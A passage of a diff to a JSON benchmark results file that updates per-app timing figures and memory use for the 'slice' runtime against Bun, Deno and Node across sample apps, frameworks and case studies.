(`semver` + `ms` + `ini`)", "category": "npm_ast_disk", "flagship": false, - "sliceCasMinMs": 13.358, - "sliceCasAvgMs": 14.228, - "sliceBinMinMs": 13.462, - "sliceBinAvgMs": 14.717, - "sliceSrcAvgMs": 36.143, - "sliceWarmMs": 3.817, - "prevSliceCasAvgMs": 14.785, - "bunAvgMs": 21.069, - "denoAvgMs": 55.166, - "nodeAvgMs": 69.341 + "sliceCasMinMs": 13.341, + "sliceCasAvgMs": 14.246, + "sliceBinMinMs": 13.692, + "sliceBinAvgMs": 14.914, + "sliceSrcAvgMs": 36.747, + "sliceWarmMs": 3.899, + "prevSliceCasAvgMs": 14.228, + "bunAvgMs": 20.988, + "denoAvgMs": 52.586, + "nodeAvgMs": 69.87 }, { "num": 3, @@ -112,16 +112,16 @@ "label": "`03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O)", "category": "npm_ast_disk", "flagship": true, - "sliceCasMinMs": 6.807, - "sliceCasAvgMs": 7.25, - "sliceBinMinMs": 7.37, - "sliceBinAvgMs": 7.8, - "sliceSrcAvgMs": 25.973, - "sliceWarmMs": 1.289, - "prevSliceCasAvgMs": 7.617, - "bunAvgMs": 14.082, - "denoAvgMs": 43.228, - "nodeAvgMs": 61.792 + "sliceCasMinMs": 6.623, + "sliceCasAvgMs": 7.197, + "sliceBinMinMs": 7.235, + "sliceBinAvgMs": 7.838, + "sliceSrcAvgMs": 27.423, + "sliceWarmMs": 1.378, + "prevSliceCasAvgMs": 7.25, + "bunAvgMs": 14.561, + "denoAvgMs": 44.015, + "nodeAvgMs": 60.874 }, { "num": 4, @@ -130,16 +130,16 @@ "label": "`04-edge-api-gateway` (`fast-querystring` + `ms`)", "category": "core_edge_crypto", "flagship": false, - "sliceCasMinMs": 6.977, - "sliceCasAvgMs": 7.408, - "sliceBinMinMs": 7.344, - "sliceBinAvgMs": 8.033, - "sliceSrcAvgMs": 21.1, - "sliceWarmMs": 1.736, - "prevSliceCasAvgMs": 7.559, - "bunAvgMs": 15.082, - "denoAvgMs": 41.232, - "nodeAvgMs": 59.873 + "sliceCasMinMs": 6.893, + "sliceCasAvgMs": 7.332, + "sliceBinMinMs": 7.204, + "sliceBinAvgMs": 7.986, + "sliceSrcAvgMs": 21.713, + "sliceWarmMs": 1.738, + "prevSliceCasAvgMs": 7.408, + "bunAvgMs": 15.137, + "denoAvgMs": 47.146, + "nodeAvgMs": 63.466 }, { "num": 5, @@ -148,16 +148,16 @@ "label": "`05-jwt-oauth-session-guard` (`cookie` + `ms` + HMAC)", "category": "core_edge_crypto", "flagship": false, - "sliceCasMinMs": 9.447, - "sliceCasAvgMs": 10.074, - "sliceBinMinMs": 9.907, - "sliceBinAvgMs": 10.543, - "sliceSrcAvgMs": 21.049, - "sliceWarmMs": 4.654, - "prevSliceCasAvgMs": 10.511, - "bunAvgMs": 14.766, - "denoAvgMs": 45.411, - "nodeAvgMs": 62.437 + "sliceCasMinMs": 9.827, + "sliceCasAvgMs": 10.285, + "sliceBinMinMs": 10.141, + "sliceBinAvgMs": 10.877, + "sliceSrcAvgMs": 21.579, + "sliceWarmMs": 4.975, + "prevSliceCasAvgMs": 10.074, + "bunAvgMs": 14.983, + "denoAvgMs": 42.265, + "nodeAvgMs": 62.265 }, { "num": 6, @@ -166,16 +166,16 @@ "label": "`06-telemetry-metrics-pipeline` (`bytes` + `flatted` + WAL)", "category": "npm_ast_disk", "flagship": false, - "sliceCasMinMs": 12.188, - "sliceCasAvgMs": 12.738, - "sliceBinMinMs": 12.578, - "sliceBinAvgMs": 13.97, - "sliceSrcAvgMs": 31.589, - "sliceWarmMs": 4.33, - "prevSliceCasAvgMs": 14.045, - "bunAvgMs": 16.697, - "denoAvgMs": 46.63, - "nodeAvgMs": 65.983 + "sliceCasMinMs": 12.451, + "sliceCasAvgMs": 12.826, + "sliceBinMinMs": 12.358, + "sliceBinAvgMs": 13.394, + "sliceSrcAvgMs": 32.429, + "sliceWarmMs": 4.382, + "prevSliceCasAvgMs": 12.738, + "bunAvgMs": 16.89, + "denoAvgMs": 46.254, + "nodeAvgMs": 63.436 }, { "num": 7, @@ -184,16 +184,16 @@ "label": "`07-graphql-ast-validator` (`dlv` + `dset` + AST Cost)", "category": "npm_ast_disk", "flagship": false, - "sliceCasMinMs": 8.403, - "sliceCasAvgMs": 8.937, - "sliceBinMinMs": 8.808, - "sliceBinAvgMs": 9.786, - "sliceSrcAvgMs": 19.218, - "sliceWarmMs": 3.758, - "prevSliceCasAvgMs": 9.193, - "bunAvgMs": 13.02, - "denoAvgMs": 41.561, - "nodeAvgMs": 61.914 + "sliceCasMinMs": 8.619, + "sliceCasAvgMs": 10.054, + "sliceBinMinMs": 8.527, + "sliceBinAvgMs": 9.409, + "sliceSrcAvgMs": 20.468, + "sliceWarmMs": 3.865, + "prevSliceCasAvgMs": 8.937, + "bunAvgMs": 13.266, + "denoAvgMs": 40.911, + "nodeAvgMs": 59.861 }, { "num": 8, @@ -202,16 +202,16 @@ "label": "`08-event-driven-state-journal` (`mitt` + `ms` + JSONL Replay)", "category": "npm_ast_disk", "flagship": false, - "sliceCasMinMs": 10.454, - "sliceCasAvgMs": 11.229, - "sliceBinMinMs": 11.147, - "sliceBinAvgMs": 14.547, - "sliceSrcAvgMs": 30.157, - "sliceWarmMs": 5.258, - "prevSliceCasAvgMs": 11.667, - "bunAvgMs": 15.902, - "denoAvgMs": 46.355, - "nodeAvgMs": 62.965 + "sliceCasMinMs": 10.808, + "sliceCasAvgMs": 11.443, + "sliceBinMinMs": 11.175, + "sliceBinAvgMs": 12.012, + "sliceSrcAvgMs": 31.533, + "sliceWarmMs": 4.77, + "prevSliceCasAvgMs": 11.229, + "bunAvgMs": 16.013, + "denoAvgMs": 45.838, + "nodeAvgMs": 63.833 }, { "num": 9, @@ -220,16 +220,16 @@ "label": "`09-wintertc-web-router` (`Request` + `Response` + `URL`, 80 reqs)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 14.222, - "sliceCasAvgMs": 14.771, - "sliceBinMinMs": 14.52, - "sliceBinAvgMs": 15.429, - "sliceSrcAvgMs": 30.804, - "sliceWarmMs": 9.085, - "prevSliceCasAvgMs": 16.323, - "bunAvgMs": 13.919, - "denoAvgMs": 47.276, - "nodeAvgMs": 85.354 + "sliceCasMinMs": 14.79, + "sliceCasAvgMs": 15.519, + "sliceBinMinMs": 15.219, + "sliceBinAvgMs": 16.066, + "sliceSrcAvgMs": 33.826, + "sliceWarmMs": 9.479, + "prevSliceCasAvgMs": 14.771, + "bunAvgMs": 14.539, + "denoAvgMs": 48.802, + "nodeAvgMs": 91.771 }, { "num": 10, @@ -238,16 +238,16 @@ "label": "`10-fullstack-bff-microservice` (`cookie` + `dlv` + `ms` + `ETag`, 60 reqs)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 12.158, - "sliceCasAvgMs": 12.802, - "sliceBinMinMs": 12.643, - "sliceBinAvgMs": 13.616, - "sliceSrcAvgMs": 30.565, - "sliceWarmMs": 6.308, - "prevSliceCasAvgMs": 13.778, - "bunAvgMs": 14.467, - "denoAvgMs": 50.395, - "nodeAvgMs": 84.816 + "sliceCasMinMs": 12.752, + "sliceCasAvgMs": 13.388, + "sliceBinMinMs": 13.055, + "sliceBinAvgMs": 14.657, + "sliceSrcAvgMs": 33.474, + "sliceWarmMs": 6.545, + "prevSliceCasAvgMs": 12.802, + "bunAvgMs": 14.571, + "denoAvgMs": 51.098, + "nodeAvgMs": 89.527 }, { "num": 11, @@ -256,16 +256,16 @@ "label": "`11-static-asset-cdn-edge` (`bytes` + `ms` + `ETag` `304`, 80 reqs)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 9.535, - "sliceCasAvgMs": 10.042, - "sliceBinMinMs": 10.034, - "sliceBinAvgMs": 10.698, - "sliceSrcAvgMs": 27.244, - "sliceWarmMs": 3.656, - "prevSliceCasAvgMs": 10.366, - "bunAvgMs": 13.499, - "denoAvgMs": 47.729, - "nodeAvgMs": 87.639 + "sliceCasMinMs": 10.066, + "sliceCasAvgMs": 10.93, + "sliceBinMinMs": 10.559, + "sliceBinAvgMs": 11.212, + "sliceSrcAvgMs": 30.208, + "sliceWarmMs": 3.999, + "prevSliceCasAvgMs": 10.042, + "bunAvgMs": 13.501, + "denoAvgMs": 48.508, + "nodeAvgMs": 91.33 }, { "num": 12, @@ -274,16 +274,16 @@ "label": "`12-ai-sse-token-streamer` (`mitt` + `ms` + SSE + DLP, 320 frames)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 14.853, - "sliceCasAvgMs": 15.593, - "sliceBinMinMs": 14.905, - "sliceBinAvgMs": 15.893, - "sliceSrcAvgMs": 31.524, - "sliceWarmMs": 7.429, - "prevSliceCasAvgMs": 15.43, - "bunAvgMs": 15.213, - "denoAvgMs": 48.694, - "nodeAvgMs": 90.253 + "sliceCasMinMs": 14.786, + "sliceCasAvgMs": 15.296, + "sliceBinMinMs": 15.272, + "sliceBinAvgMs": 16.165, + "sliceSrcAvgMs": 33.476, + "sliceWarmMs": 6.942, + "prevSliceCasAvgMs": 15.593, + "bunAvgMs": 15.334, + "denoAvgMs": 48.041, + "nodeAvgMs": 89.299 }, { "num": 13, @@ -292,16 +292,16 @@ "label": "`13-webhook-orchestrator-ssrf` (`fast-querystring` + `ms` + Live `fetch`)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 14.708, - "sliceCasAvgMs": 15.199, - "sliceBinMinMs": 15.196, - "sliceBinAvgMs": 16.293, - "sliceSrcAvgMs": 35.193, - "sliceWarmMs": 6.388, - "prevSliceCasAvgMs": 17.563, - "bunAvgMs": 18.942, - "denoAvgMs": 51.379, - "nodeAvgMs": 111.11 + "sliceCasMinMs": 14.92, + "sliceCasAvgMs": 15.922, + "sliceBinMinMs": 15.228, + "sliceBinAvgMs": 16.213, + "sliceSrcAvgMs": 38.018, + "sliceWarmMs": 7.103, + "prevSliceCasAvgMs": 15.199, + "bunAvgMs": 19.082, + "denoAvgMs": 51.39, + "nodeAvgMs": 112.929 }, { "num": 14, @@ -310,16 +310,16 @@ "label": "`14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`)", "category": "wintertc_fetch_dlp", "flagship": true, - "sliceCasMinMs": 15.009, - "sliceCasAvgMs": 15.828, - "sliceBinMinMs": 15.322, - "sliceBinAvgMs": 16.384, - "sliceSrcAvgMs": 32.722, - "sliceWarmMs": 6.697, - "prevSliceCasAvgMs": 16.692, - "bunAvgMs": 21.2, - "denoAvgMs": 56.402, - "nodeAvgMs": 108.617 + "sliceCasMinMs": 15.011, + "sliceCasAvgMs": 15.601, + "sliceBinMinMs": 15.873, + "sliceBinAvgMs": 16.721, + "sliceSrcAvgMs": 33.724, + "sliceWarmMs": 7.079, + "prevSliceCasAvgMs": 15.828, + "bunAvgMs": 20.766, + "denoAvgMs": 51.558, + "nodeAvgMs": 107.861 }, { "num": 15, @@ -328,16 +328,16 @@ "label": "`15-time-travel-test-suite` (`semver` + `ms` + `dlv` + `dset` + 24 Rollbacks)", "category": "realtime_workers_wasm", "flagship": false, - "sliceCasMinMs": 14.526, - "sliceCasAvgMs": 15.273, - "sliceBinMinMs": 14.875, - "sliceBinAvgMs": 15.908, - "sliceSrcAvgMs": 45.721, - "sliceWarmMs": 4.757, - "prevSliceCasAvgMs": 16.035, - "bunAvgMs": 24.939, - "denoAvgMs": 66.357, - "nodeAvgMs": 84.077 + "sliceCasMinMs": 14.332, + "sliceCasAvgMs": 14.828, + "sliceBinMinMs": 14.919, + "sliceBinAvgMs": 16.06, + "sliceSrcAvgMs": 45.502, + "sliceWarmMs": 4.894, + "prevSliceCasAvgMs": 15.273, + "bunAvgMs": 24.396, + "denoAvgMs": 68.179, + "nodeAvgMs": 82.991 }, { "num": 16, @@ -346,16 +346,16 @@ "label": "`16-dotenv-dlp-config-vault` (`ini` + `cookie` + `bytes` + `.env` Auto-DLP)", "category": "core_edge_crypto", "flagship": false, - "sliceCasMinMs": 6.834, - "sliceCasAvgMs": 7.598, - "sliceBinMinMs": 7.463, - "sliceBinAvgMs": 8.351, - "sliceSrcAvgMs": 29.672, - "sliceWarmMs": 1.234, - "prevSliceCasAvgMs": 8.079, - "bunAvgMs": 14.844, - "denoAvgMs": 48.547, - "nodeAvgMs": 67.533 + "sliceCasMinMs": 7.224, + "sliceCasAvgMs": 7.737, + "sliceBinMinMs": 7.626, + "sliceBinAvgMs": 8.257, + "sliceSrcAvgMs": 30.388, + "sliceWarmMs": 1.255, + "prevSliceCasAvgMs": 7.598, + "bunAvgMs": 14.873, + "denoAvgMs": 45.224, + "nodeAvgMs": 65.018 }, { "num": 17, @@ -364,16 +364,16 @@ "label": "`17-zero-trust-redirect-keepalive-mesh` (Keep-Alive/307/SSRF/DLP)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 16.695, - "sliceCasAvgMs": 17.333, - "sliceBinMinMs": 17.509, - "sliceBinAvgMs": 18.916, - "sliceSrcAvgMs": 41.891, - "sliceWarmMs": 7.896, - "prevSliceCasAvgMs": 17.376, - "bunAvgMs": 22.634, - "denoAvgMs": 55.132, - "nodeAvgMs": 109.514 + "sliceCasMinMs": 16.797, + "sliceCasAvgMs": 17.608, + "sliceBinMinMs": 17.196, + "sliceBinAvgMs": 18.123, + "sliceSrcAvgMs": 42.279, + "sliceWarmMs": 7.828, + "prevSliceCasAvgMs": 17.333, + "bunAvgMs": 21.856, + "denoAvgMs": 54.487, + "nodeAvgMs": 113.958 }, { "num": 18, @@ -382,16 +382,16 @@ "label": "`18-async-event-loop-fanout-scheduler` (Timer Wheel/`Promise.all`/`AbortSignal`)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 27.785, - "sliceCasAvgMs": 29.326, - "sliceBinMinMs": 28.861, - "sliceBinAvgMs": 30.533, - "sliceSrcAvgMs": 45.923, - "sliceWarmMs": 16.971, - "prevSliceCasAvgMs": 30.841, - "bunAvgMs": 32.616, - "denoAvgMs": 70.809, - "nodeAvgMs": 81.452 + "sliceCasMinMs": 28.519, + "sliceCasAvgMs": 29.524, + "sliceBinMinMs": 29.775, + "sliceBinAvgMs": 31.164, + "sliceSrcAvgMs": 44.71, + "sliceWarmMs": 17.348, + "prevSliceCasAvgMs": 29.326, + "bunAvgMs": 32.481, + "denoAvgMs": 70.418, + "nodeAvgMs": 80.512 }, { "num": 19, @@ -400,16 +400,16 @@ "label": "`19-wintertc-webcrypto-streams-edge` (WebCrypto/Streams/FormData/Clone)", "category": "wintertc_fetch_dlp", "flagship": false, - "sliceCasMinMs": 7.676, - "sliceCasAvgMs": 8.118, - "sliceBinMinMs": 8.181, - "sliceBinAvgMs": 9.079, - "sliceSrcAvgMs": 31.573, - "sliceWarmMs": 1.396, - "prevSliceCasAvgMs": 8.515, - "bunAvgMs": 13.794, - "denoAvgMs": 44.403, - "nodeAvgMs": 86.921 + "sliceCasMinMs": 7.732, + "sliceCasAvgMs": 8.378, + "sliceBinMinMs": 8.144, + "sliceBinAvgMs": 8.841, + "sliceSrcAvgMs": 34.449, + "sliceWarmMs": 1.322, + "prevSliceCasAvgMs": 8.118, + "bunAvgMs": 14.097, + "denoAvgMs": 49.351, + "nodeAvgMs": 87.562 }, { "num": 20, @@ -418,16 +418,16 @@ "label": "`20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler)", "category": "npm_ast_disk", "flagship": true, - "sliceCasMinMs": 10.205, - "sliceCasAvgMs": 11.261, - "sliceBinMinMs": 10.964, - "sliceBinAvgMs": 11.623, - "sliceSrcAvgMs": 43.366, - "sliceWarmMs": 0.496, - "prevSliceCasAvgMs": 11.298, - "bunAvgMs": 25.08, - "denoAvgMs": 55.776, - "nodeAvgMs": 73.35 + "sliceCasMinMs": 10.393, + "sliceCasAvgMs": 10.83, + "sliceBinMinMs": 10.752, + "sliceBinAvgMs": 11.733, + "sliceSrcAvgMs": 44.739, + "sliceWarmMs": 0.484, + "prevSliceCasAvgMs": 11.261, + "bunAvgMs": 22.621, + "denoAvgMs": 53.734, + "nodeAvgMs": 73.692 }, { "num": 21, @@ -436,16 +436,16 @@ "label": "`21-websocket-realtime-and-security-guard` (RFC 6455 `WebSocket` + 5-Ring Guard)", "category": "realtime_workers_wasm", "flagship": false, - "sliceCasMinMs": 10.084, - "sliceCasAvgMs": 10.714, - "sliceBinMinMs": 10.452, - "sliceBinAvgMs": 11.463, - "sliceSrcAvgMs": 41.725, - "sliceWarmMs": 2.166, - "prevSliceCasAvgMs": 11.073, - "bunAvgMs": 20.494, - "denoAvgMs": 51.042, - "nodeAvgMs": 116.007 + "sliceCasMinMs": 10.453, + "sliceCasAvgMs": 11.083, + "sliceBinMinMs": 10.869, + "sliceBinAvgMs": 12.066, + "sliceSrcAvgMs": 44.979, + "sliceWarmMs": 2.333, + "prevSliceCasAvgMs": 10.714, + "bunAvgMs": 21.35, + "denoAvgMs": 53.525, + "nodeAvgMs": 120.536 }, { "num": 22, @@ -454,16 +454,16 @@ "label": "`22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec)", "category": "realtime_workers_wasm", "flagship": true, - "sliceCasMinMs": 20.328, - "sliceCasAvgMs": 20.988, - "sliceBinMinMs": 20.372, - "sliceBinAvgMs": 21.637, - "sliceSrcAvgMs": 40.911, - "sliceWarmMs": 1.739, - "prevSliceCasAvgMs": 20.159, - "bunAvgMs": 57.152, - "denoAvgMs": 114.016, - "nodeAvgMs": 101.723 + "sliceCasMinMs": 20.087, + "sliceCasAvgMs": 21.431, + "sliceBinMinMs": 20.533, + "sliceBinAvgMs": 22.212, + "sliceSrcAvgMs": 38.088, + "sliceWarmMs": 1.737, + "prevSliceCasAvgMs": 20.988, + "bunAvgMs": 56.813, + "denoAvgMs": 115.28, + "nodeAvgMs": 106.594 }, { "num": 23, @@ -472,16 +472,16 @@ "label": "`23-wasm-crypto-and-simd-kernel` (Pure-Rust `WebAssembly` + 5-Ring WASM Sec)", "category": "realtime_workers_wasm", "flagship": false, - "sliceCasMinMs": 14.733, - "sliceCasAvgMs": 15.548, - "sliceBinMinMs": 15.357, - "sliceBinAvgMs": 16.009, - "sliceSrcAvgMs": 27.894, - "sliceWarmMs": 1.97, - "prevSliceCasAvgMs": 15.43, - "bunAvgMs": 21.684, - "denoAvgMs": 40.55, - "nodeAvgMs": 63.213 + "sliceCasMinMs": 14.77, + "sliceCasAvgMs": 15.455, + "sliceBinMinMs": 15.658, + "sliceBinAvgMs": 16.445, + "sliceSrcAvgMs": 25.029, + "sliceWarmMs": 1.856, + "prevSliceCasAvgMs": 15.548, + "bunAvgMs": 21.122, + "denoAvgMs": 42.013, + "nodeAvgMs": 59.8 }, { "num": 24, @@ -490,16 +490,16 @@ "label": "`24-tsx-ssr-and-wasm-edge-pipeline` (`WebAssembly` SLA Scorer + SSR Pipeline)", "category": "realtime_workers_wasm", "flagship": false, - "sliceCasMinMs": 7.843, - "sliceCasAvgMs": 8.719, - "sliceBinMinMs": 8.124, - "sliceBinAvgMs": 8.994, - "sliceSrcAvgMs": 27.54, - "sliceWarmMs": 1.758, - "prevSliceCasAvgMs": 8.744, - "bunAvgMs": 19.118, - "denoAvgMs": 42.405, - "nodeAvgMs": 67.199 + "sliceCasMinMs": 8.112, + "sliceCasAvgMs": 8.681, + "sliceBinMinMs": 8.807, + "sliceBinAvgMs": 9.56, + "sliceSrcAvgMs": 29.665, + "sliceWarmMs": 1.73, + "prevSliceCasAvgMs": 8.719, + "bunAvgMs": 18.43, + "denoAvgMs": 44.119, + "nodeAvgMs": 67.854 }, { "num": 25, @@ -508,16 +508,16 @@ "label": "`FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`)", "category": "frameworks", "flagship": true, - "sliceCasMinMs": 14.056, - "sliceCasAvgMs": 14.653, - "sliceBinMinMs": 14.232, - "sliceBinAvgMs": 15.35, - "sliceSrcAvgMs": 49.303, - "sliceWarmMs": 5.593, - "prevSliceCasAvgMs": 15.219, - "bunAvgMs": 19.858, - "denoAvgMs": 51.149, - "nodeAvgMs": 94.15 + "sliceCasMinMs": 14.99, + "sliceCasAvgMs": 16.171, + "sliceBinMinMs": 14.997, + "sliceBinAvgMs": 15.851, + "sliceSrcAvgMs": 55.53, + "sliceWarmMs": 5.59, + "prevSliceCasAvgMs": 14.653, + "bunAvgMs": 19.635, + "denoAvgMs": 53.182, + "nodeAvgMs": 96.148 }, { "num": 26, @@ -526,16 +526,16 @@ "label": "`FW-02: frameworks/02-itty-router-unjs-nitro-stack` (`itty-router` + UnJS)", "category": "frameworks", "flagship": false, - "sliceCasMinMs": 16.631, - "sliceCasAvgMs": 17.364, - "sliceBinMinMs": 16.825, - "sliceBinAvgMs": 17.789, - "sliceSrcAvgMs": 46.638, - "sliceWarmMs": 9.113, - "prevSliceCasAvgMs": 17.819, - "bunAvgMs": 18.943, - "denoAvgMs": 46.132, - "nodeAvgMs": 86.398 + "sliceCasMinMs": 16.618, + "sliceCasAvgMs": 17.377, + "sliceBinMinMs": 17.135, + "sliceBinAvgMs": 18.091, + "sliceSrcAvgMs": 48.888, + "sliceWarmMs": 8.9, + "prevSliceCasAvgMs": 17.364, + "bunAvgMs": 19.125, + "denoAvgMs": 46.091, + "nodeAvgMs": 86.328 }, { "num": 32, @@ -544,16 +544,16 @@ "label": "`FW-03: frameworks/03-node-http-express-compat` (`node:http` + `node:stream` Express/Polka)", "category": "frameworks", "flagship": false, - "sliceCasMinMs": 16.237, - "sliceCasAvgMs": 16.742, - "sliceBinMinMs": 16.633, - "sliceBinAvgMs": 18.053, - "sliceSrcAvgMs": 24.203, - "sliceWarmMs": 0.927, - "prevSliceCasAvgMs": 17.267, - "bunAvgMs": 34.374, - "denoAvgMs": 51.235, - "nodeAvgMs": 84.492 + "sliceCasMinMs": 16.524, + "sliceCasAvgMs": 17.811, + "sliceBinMinMs": 17.1, + "sliceBinAvgMs": 18.809, + "sliceSrcAvgMs": 27.382, + "sliceWarmMs": 1.013, + "prevSliceCasAvgMs": 16.742, + "bunAvgMs": 35.691, + "denoAvgMs": 52.659, + "nodeAvgMs": 83.756 }, { "num": 33, @@ -562,16 +562,16 @@ "label": "`FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`)", "category": "frameworks", "flagship": true, - "sliceCasMinMs": 32.033, - "sliceCasAvgMs": 34.372, - "sliceBinMinMs": 31.777, - "sliceBinAvgMs": 34.188, - "sliceSrcAvgMs": 146.899, - "sliceWarmMs": 14.26, - "prevSliceCasAvgMs": 32.075, - "bunAvgMs": 43.709, - "denoAvgMs": 68.042, - "nodeAvgMs": 108.544 + "sliceCasMinMs": 31.828, + "sliceCasAvgMs": 33.504, + "sliceBinMinMs": 32.979, + "sliceBinAvgMs": 35.475, + "sliceSrcAvgMs": 162.682, + "sliceWarmMs": 14.704, + "prevSliceCasAvgMs": 34.372, + "bunAvgMs": 51.401, + "denoAvgMs": 74.88, + "nodeAvgMs": 113.299 }, { "num": 27, @@ -580,16 +580,16 @@ "label": "`CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes)", "category": "case_studies", "flagship": true, - "sliceCasMinMs": 32.956, - "sliceCasAvgMs": 34.837, - "sliceBinMinMs": 32.622, - "sliceBinAvgMs": 36, - "sliceSrcAvgMs": 77.212, - "sliceWarmMs": 12.991, - "prevSliceCasAvgMs": 34.706, - "bunAvgMs": 28.855, - "denoAvgMs": 73.549, - "nodeAvgMs": 91.045 + "sliceCasMinMs": 31.815, + "sliceCasAvgMs": 33.655, + "sliceBinMinMs": 32.213, + "sliceBinAvgMs": 36.944, + "sliceSrcAvgMs": 76.967, + "sliceWarmMs": 13.077, + "prevSliceCasAvgMs": 34.837, + "bunAvgMs": 27.983, + "denoAvgMs": 72.009, + "nodeAvgMs": 88.021 }, { "num": 28, @@ -598,16 +598,16 @@ "label": "`CS-02: case_studies/02-mcp-code-mode-orchestrator` (`-98.4%` Tokens)", "category": "case_studies", "flagship": false, - "sliceCasMinMs": 17.868, - "sliceCasAvgMs": 19.49, - "sliceBinMinMs": 18.675, - "sliceBinAvgMs": 19.711, - "sliceSrcAvgMs": 39.112, - "sliceWarmMs": 3.241, - "prevSliceCasAvgMs": 18.871, - "bunAvgMs": 16.986, - "denoAvgMs": 44.877, - "nodeAvgMs": 68.991 + "sliceCasMinMs": 17.846, + "sliceCasAvgMs": 19.384, + "sliceBinMinMs": 18.465, + "sliceBinAvgMs": 19.431, + "sliceSrcAvgMs": 36.858, + "sliceWarmMs": 3.349, + "prevSliceCasAvgMs": 19.49, + "bunAvgMs": 16.144, + "denoAvgMs": 43.412, + "nodeAvgMs": 68.456 }, { "num": 29, @@ -616,16 +616,16 @@ "label": "`CS-03: case_studies/03-multi-tenant-saas-plugin-mesh` (12 Tenants + Hot-Swap)", "category": "case_studies", "flagship": false, - "sliceCasMinMs": 12.585, - "sliceCasAvgMs": 13.171, - "sliceBinMinMs": 13.192, - "sliceBinAvgMs": 14.508, - "sliceSrcAvgMs": 42.204, - "sliceWarmMs": 5.274, - "prevSliceCasAvgMs": 13.687, - "bunAvgMs": 16.965, - "denoAvgMs": 49.996, - "nodeAvgMs": 87.777 + "sliceCasMinMs": 12.804, + "sliceCasAvgMs": 13.717, + "sliceBinMinMs": 13.217, + "sliceBinAvgMs": 14.502, + "sliceSrcAvgMs": 43.612, + "sliceWarmMs": 5.76, + "prevSliceCasAvgMs": 13.171, + "bunAvgMs": 16.713, + "denoAvgMs": 48.065, + "nodeAvgMs": 85.559 }, { "num": 30, @@ -634,16 +634,16 @@ "label": "`CS-04: case_studies/04-wasm-zero-trust-cdr-pipeline` (Wasm SimHash CDR)", "category": "case_studies", "flagship": false, - "sliceCasMinMs": 18.725, - "sliceCasAvgMs": 20.235, - "sliceBinMinMs": 19.3, - "sliceBinAvgMs": 21.128, - "sliceSrcAvgMs": 40.69, - "sliceWarmMs": 1.501, - "prevSliceCasAvgMs": 19.96, - "bunAvgMs": 20.878, - "denoAvgMs": 48.725, - "nodeAvgMs": 70.429 + "sliceCasMinMs": 19.193, + "sliceCasAvgMs": 19.798, + "sliceBinMinMs": 19.694, + "sliceBinAvgMs": 20.942, + "sliceSrcAvgMs": 42.429, + "sliceWarmMs": 1.419, + "prevSliceCasAvgMs": 20.235, + "bunAvgMs": 18.914, + "denoAvgMs": 44.462, + "nodeAvgMs": 68.689 }, { "num": 31, @@ -652,138 +652,138 @@ "label": "`CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas)", "category": "case_studies", "flagship": true, - "sliceCasMinMs": 16.441, - "sliceCasAvgMs": 18.139, - "sliceBinMinMs": 16.447, - "sliceBinAvgMs": 19.258, - "sliceSrcAvgMs": 50.52, - "sliceWarmMs": 8.323, - "prevSliceCasAvgMs": 18.213, - "bunAvgMs": 21.102, - "denoAvgMs": 65.542, - "nodeAvgMs": 86.649 + "sliceCasMinMs": 16.418, + "sliceCasAvgMs": 17.561, + "sliceBinMinMs": 16.92, + "sliceBinAvgMs": 18.123, + "sliceSrcAvgMs": 51.023, + "sliceWarmMs": 8.515, + "prevSliceCasAvgMs": 18.139, + "bunAvgMs": 20.039, + "denoAvgMs": 63.785, + "nodeAvgMs": 82.764 } ], "rss": [ { "id": "App 2: NPM semver+ms+ini", "label": "App 2: NPM semver+ms+ini", - "sliceKb": 14464, - "bunKb": 30336, - "denoKb": 47068, - "nodeKb": 71836 + "sliceKb": 14328, + "bunKb": 30080, + "denoKb": 47056, + "nodeKb": 71580 }, { "id": "App 6: Telemetry + Flatted", "label": "App 6: Telemetry + Flatted", - "sliceKb": 13776, + "sliceKb": 14208, "bunKb": 29952, - "denoKb": 50800, - "nodeKb": 72724 + "denoKb": 50416, + "nodeKb": 73116 }, { "id": "App 21: RFC 6455 WS + Sec", "label": "App 21: RFC 6455 WS + Sec", - "sliceKb": 14080, - "bunKb": 31860, - "denoKb": 50564, - "nodeKb": 95236 + "sliceKb": 14464, + "bunKb": 31488, + "denoKb": 50876, + "nodeKb": 95744 }, { "id": "App 22: Workers + Sockets", "label": "App 22: Workers + Sockets", - "sliceKb": 22144, - "bunKb": 40480, - "denoKb": 63880, - "nodeKb": 92416 + "sliceKb": 22656, + "bunKb": 41064, + "denoKb": 63784, + "nodeKb": 92412 }, { "id": "App 23: Pure-Rust WASM", "label": "App 23: Pure-Rust WASM", - "sliceKb": 19072, + "sliceKb": 19200, "bunKb": 30848, - "denoKb": 48792, - "nodeKb": 80528 + "denoKb": 48536, + "nodeKb": 80360 }, { "id": "FW 1: Hono v4 Microservice", "label": "FW 1: Hono v4 Microservice", - "sliceKb": 15360, - "bunKb": 31084, - "denoKb": 49664, - "nodeKb": 89376 + "sliceKb": 15616, + "bunKb": 29068, + "denoKb": 49784, + "nodeKb": 89120 }, { "id": "FW 2: itty-router + UnJS", "label": "FW 2: itty-router + UnJS", - "sliceKb": 14336, - "bunKb": 31872, - "denoKb": 48288, - "nodeKb": 87436 + "sliceKb": 14720, + "bunKb": 32000, + "denoKb": 48508, + "nodeKb": 87564 }, { "id": "App 24: WASM + SSR", "label": "App 24: WASM + SSR", - "sliceKb": 13832, - "bunKb": 32512, - "denoKb": 48528, - "nodeKb": 81024 + "sliceKb": 14080, + "bunKb": 30720, + "denoKb": 48376, + "nodeKb": 81276 }, { "id": "FW 3: Express node:http", "label": "FW 3: Express node:http", - "sliceKb": 15488, + "sliceKb": 15744, "bunKb": 33152, - "denoKb": 47088, - "nodeKb": 80144 + "denoKb": 47220, + 